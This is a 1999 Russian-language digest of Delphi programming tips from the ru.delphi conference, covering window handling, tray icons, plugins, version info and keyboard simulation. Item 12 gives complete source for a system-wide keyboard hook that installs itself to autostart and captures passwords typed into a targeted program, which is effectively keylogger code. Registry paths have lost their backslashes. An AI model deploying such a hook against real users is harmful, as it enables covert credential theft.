Назад в раздел
Дайджест по эхоконференции ru.delphi.
eManual.ru - электронная документация
AKdTopic от 02.07.99
Дайджест по эхоконференции ru.delphi, включил в себя все то, что
показалось мне интересным на момент его составления.
Новую версию этого файла можно всегда
запросить с AKServer (2:5019/10.99),
указав в поле subj: "AKdTopic"
Cоставил Alexander Kramarenko (2:5019/10.99)
-------------------------------------------------------------------------------
Содержание :
1> Как минимизиpовать все запущеные окна ?
2> Как заставить появляться хинт, когда я захочy ?
3> Как пpогpамно вывести окно свойств экpана?
4> Как вывести окно свойств компьютеpа?
5> Как вывести окно "Выполнить" из виндов?
6> Как очистить коpзинy?
7> Как работать с плагинами ?
8> Как таскать окно за нужный мне элемент на нём?
9> Как перетаскивать форму за её любое место.
10> Как поместить иконку в Tray ?
11> Как получить информацию о загрузке процессора ?
12> Как отловить нажатия клавиш для всех процессов в системе?
13> Как вытащить VersionInfo из свойств проекта ?
14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?
15> Как послать некое сообщение всем формам ?
16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
17> Как сделать имитацию ввода с клавиатуры для дос-программы ?
18> Как вызвать модальную форму и обеспечить возврат ее параметров ?
19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?
20> Как вызвать браузер, который установлен в виндах по умолчанию ?
21> Как включать/выключать лампочки на numlock, capslock, etc... ?
22> С каким числовым форматом Delphi работает быстрее всего ?
-------------------------------------------------------------------------------
1> Как минимизиpовать все запущеные окна ?
/* Начало (MINIMIZE.DPR)
{$APPTYPE CONSOLE}
program Minimize;
uses Windows,Messages;
var Count:integer;
function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and
(IsWindowVisible (WinHandle)) then begin
PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Inc(Count);
end;
EnumProc := TRUE;
end;
begin
Count:=0;
EnumWindows (@EnumProc, 0);
Writeln('Minimized:',Count,' windows');
end.
конец (MINIMIZE.DPR)*/
-------------------------------------------------------------------------------
2> Как заставить появляться хинт, когда я захочy ?
{Появление}
IF h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
IF h<>nil H.ReleaseHandle;
По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.
-------------------------------------------------------------------------------
3> Как пpогpамно вывести окно свойств экpана?
ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);
-------------------------------------------------------------------------------
4> Как вывести окно свойств компьютеpа?
ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,
sw_ShowNormal);
-------------------------------------------------------------------------------
5> Как вывести окно "Выполнить" из виндов?
Если из виндов, то нажать на кнопку "Пуск" и выбрать команду "Выполнить" ;-)
-------------------------------------------------------------------------------
6> Как очистить коpзинy?
Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по
крайней мере в win32.hlp ее нет).
-------------------------------------------------------------------------------
7> Как работать с плагинами ?
Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и
пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным
жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL
считается моим плагином, если нет - выгрузить и забыть.
А набор вызываемых функций по идее одинаков у всех плагинов, и программа
(основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то
ничего не мешает тебе определить в плагине функцию наподобие GetFeatures,
возвращающую список строк-названий поддержанных плагином процедур.
Вот часть моего кода по работе с плагинами...
=================
...
type
// Процедурные типы для хранения ссылок на функции плагинов
TGetNProc=function:shortstring;
TGetSProc=function:integer;
TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
TSaveLoadProc=procedure(inifile:pointer; var config:pointer);
// Информация об отдельном плагине
TPlugin=record
Name:shortstring; // Полное название
Filename:shortstring; // Имя файла
Handle:integer; // Хэндл загруженной DLL
CFGSize:integer; // Размер конфигурации в RAM
ProcessProc: TProcessProc; // Адрес процедуры обработки
ConfigProc: TConfigProc; // Адрес процедуры настройки
LoadCFG,SaveCFG:TSaveLoadProc; // Адреса процедур чтения/записи cfg
end;
PPlugin=^TPlugin;
// Список загруженных плагинов
TPlugins=class(TList);
...
var
Plugins:TPlugins; sr:TSearchRec; lib:integer;
pgetn:TGetNProc; pgets: TGetSProc; plugin:PPlugin;
...
// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
ShowMessage('Не найдено подключаемых модулей.');
Close;
end;
repeat
lib:=LoadLibrary(PChar(sr.Name));
if lib<>0 then begin
@pgetn:=GetProcAddress(lib, 'GetPluginName');
if @pgetn=nil then FreeLibrary(lib) // Не плагин
else begin
New(plugin);
@pgets:=GetProcAddress(lib, 'GetCFGSize');
plugin.Name:=pgetn;
plugin.Filename:=sr.Name;
plugin.CFGSize:=pgets;
plugin.Handle:=lib;
plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
plugin.ProcessProc:=GetProcAddress(lib, 'Process');
plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
Plugins.Add(plugin);
end;
end;
until FindNext(sr)<>0;
FindClose(sr);
...
-------------------------------------------------------------------------------
8> Как таскать окно за нужный мне элемент на нём?
procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
const
SC_DragMove = $F012; { a magic number }
begin
ReleaseCapture;
panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;
-------------------------------------------------------------------------------
9> Переиаскивание формы за любое её место.
procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
Message.Result := HTCAPTION
else
Message.Result := HTNOWHERE;
end;
-------------------------------------------------------------------------------
10> Как поместить иконку в Tray ?
function TaskBarAddIcon( hWindow : THandle; ID : Cardinal;
ICON : hicon; CallbackMessage : Cardinal; Tip : String ) : Boolean;
var
NID : TNotifyIconData;
begin
FillChar( NID, SizeOf( TNotifyIconData ), 0 );
with NID do begin
cbSize := SizeOf( TNotifyIconData );
Wnd := hWindow;
uID := ID;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
uCallbackMessage := CallbackMessage;
hIcon := Icon;
if Length( Tip ) > 63 then SetLength( Tip, 63 );
StrPCopy( szTip, Tip );
end;
Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;
-------------------------------------------------------------------------------
11> Как получить информацию о загрузке процессора ?
Читать из реестра HKEY_DYN_DATAPerfStatsStatData соответствующий ключ
Kernel CPUUsage.
-------------------------------------------------------------------------------
12> Как отловить нажатия клавиш для всех процессов в системе?
Setup.bat
@echo off
copy HookAgnt.dll %windir%system
copy kbdhook.exe %windir%system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"kbdhook"="kbdhook.exe"
KbdHook.dpr
program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
{----------------------------
| |
| DLL_PROCESS_DETACH |
| |
----------------------------}
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
{----------------------------
| |
| DLL_PROCESS_ATTACH |
| |
----------------------------}
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);
end.
KeyboardHook.pas
unit KeyboardHook;
interface
uses Windows;
{------------------------------------------
| |
| Глобальные переменные и константы |
| |
------------------------------------------}
const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_'АДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
-+-----------------------------------------------------------------------------
Установлен автор ответа на вопрос.
Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.
Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.
-------------------------------------------------------------------------------
13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в
> окнах типа About (Label, StaticText, etc)?
function CurrentFileInfo(NameApp : string) : string;
var dump: DWORD;
size: integer;
buffer: PChar;
VersionPointer, TransBuffer: PChar;
Temp: integer;
CalcLangCharSet: string;
begin
size := GetFileVersionInfoSize(PChar(NameApp), dump);
buffer := StrAlloc(size+1);
try
GetFileVersionInfo(PChar(NameApp), 0, size, buffer);
VerQueryValue(buffer, 'VarFileInfoTranslation', pointer(TransBuffer),
dump);
if dump >= 4 then
begin
temp:=0;
StrLCopy(@temp, TransBuffer, 2);
CalcLangCharSet:=IntToHex(temp, 4);
StrLCopy(@temp, TransBuffer+2, 2);
CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
end;
VerQueryValue(buffer, pchar('StringFileInfo'+CalcLangCharSet+
''+'FileVersion'), pointer(VersionPointer), dump);
if (dump > 1) then
begin
SetLength(Result, dump);
StrLCopy(Pchar(Result), VersionPointer, dump);
end
else Result := '0.0.0.0';
finally
StrDispose(Buffer);
end;
end;
-------------------------------------------------------------------------------
14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?
TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil
Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться
посредством FieldAddress. Однако этот метод дает адрес полей,
которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг
ты ее достанешь.
А модифицировать значение можно посредством прямой записи по
адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный
способы, перечисленные в unit'е TypInfo.
2AS: Модифицировать кучу объектов можно организовав цикл перебора
оных с получением в цикле PropertyInfo объекта и записи в объект
на основе PropInfo.
-------------------------------------------------------------------------------
15> Как послать некое сообщение всем формам ?
var
I: Integer;
M: TMessage;
...
with M do begin
Message := ...
...
end;
for I := 0 to Pred(Screen.FormCount) do begin
PostMessage( Forms[I].Handle, ... );
// Если надо и всем чилдам
Forms[I].Broadcast( M );
end;
-------------------------------------------------------------------------------
16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
Делаешь текстовый файл с ресурсами, типа
--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.
Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll
Теперь о том, как использовать.
В своей программе:
var
h : THandle;
S: array [0..255] of Char;
begin
h := LoadLibrary('MY.DLL');
if h <= 0 then ShowMessage('Bad Dll Load')
else
begin
SetLength(S, 512);
LoadString(h, 1, @S, 255);
FreeLibrary(h);
end;
end;
-------------------------------------------------------------------------------
17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы
> выполняющейся в дос-окне?
const
ExtendedKeys: set of Byte = [ // incomplete list
VK_INSERT, VK_DELETE, VK_HOME, VK_END, VK_PRIOR, VK_NEXT,
VK_LEFT, VK_UP, VK_RIGHT, VK_DOWN, VK_NUMLOCK
];
procedure SimulateKeyDown(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;
procedure SimulateKeyUp(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;
procedure SimulateKeystroke(Key : byte);
var
flags: DWORD;
scancode: BYTE;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
scancode := MapVirtualKey(Key, 0);
keybd_event(Key,
scancode,
flags,
0);
keybd_event(Key,
scancode,
KEYEVENTF_KEYUP or flags,
0);
end;
-------------------------------------------------------------------------------
18> Как вызвать из работающего приложения модальную форму и обеспечить возврат
> параметров при его закрытии ?
procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
ModalResult := mrOK;
end;
procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;
Пример обработки результат ниже :
procedure TForm1.Button1Click(Sender: TObject);
begin
if MyDialogBox1.ShowModal = mrOK then
Beep;
end;
-------------------------------------------------------------------------------
19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER?
{$APPTYPE CONSOLE}
// индикатоp pесуpсов
program res;
function MyGetFreeSystemResources32(Id:integer):integer;
stdcall; external 'rsrc32' name '_MyGetFreeSystemResources32@4';
const
rSystem=0;
rGDI=1;
rUSER=2;
begin
writeln('free resources');
writeln('System:',MyGetFreeSystemResources32(rSystem),'%');
writeln('GDI:',MyGetFreeSystemResources32(rGDI),'%');
writeln('USER:',MyGetFreeSystemResources32(rUSER),'%');
end.
-------------------------------------------------------------------------------
20> Как вызвать браузер, который установлен в виндах по умолчанию ?
ShellExecute(0,'OPEN','HTTP://www.youraddress.com',NIL,NIL,0);
-------------------------------------------------------------------------------
21> Как включать/выключать лампочки на numlock, capslock, etc... ?
procedure SetNumLock(bState:Boolean);
var
KeyState : TKeyboardState;
begin
GetKeyboardState(KeyState);
if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or
( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
// Simulate a key press
keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
// Simulate a key release
keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or
KEYEVENTF_KEYUP), 0);
end;
Заменяйте VK_NUMLOCK на все что душе угодно.
-------------------------------------------------------------------------------
22> С каким числовым форматом Delphi работает быстрее всего ?
Простой тест: под рукой прога для вычисления координат цвета
по спектру из 10000 точек, вычислений там прилично:
type time, sec
-------------------
single 2.20
double 3.63
real 4.28
extended 5.95
-------------------------------------------------------------------------------
|
|
 |
|
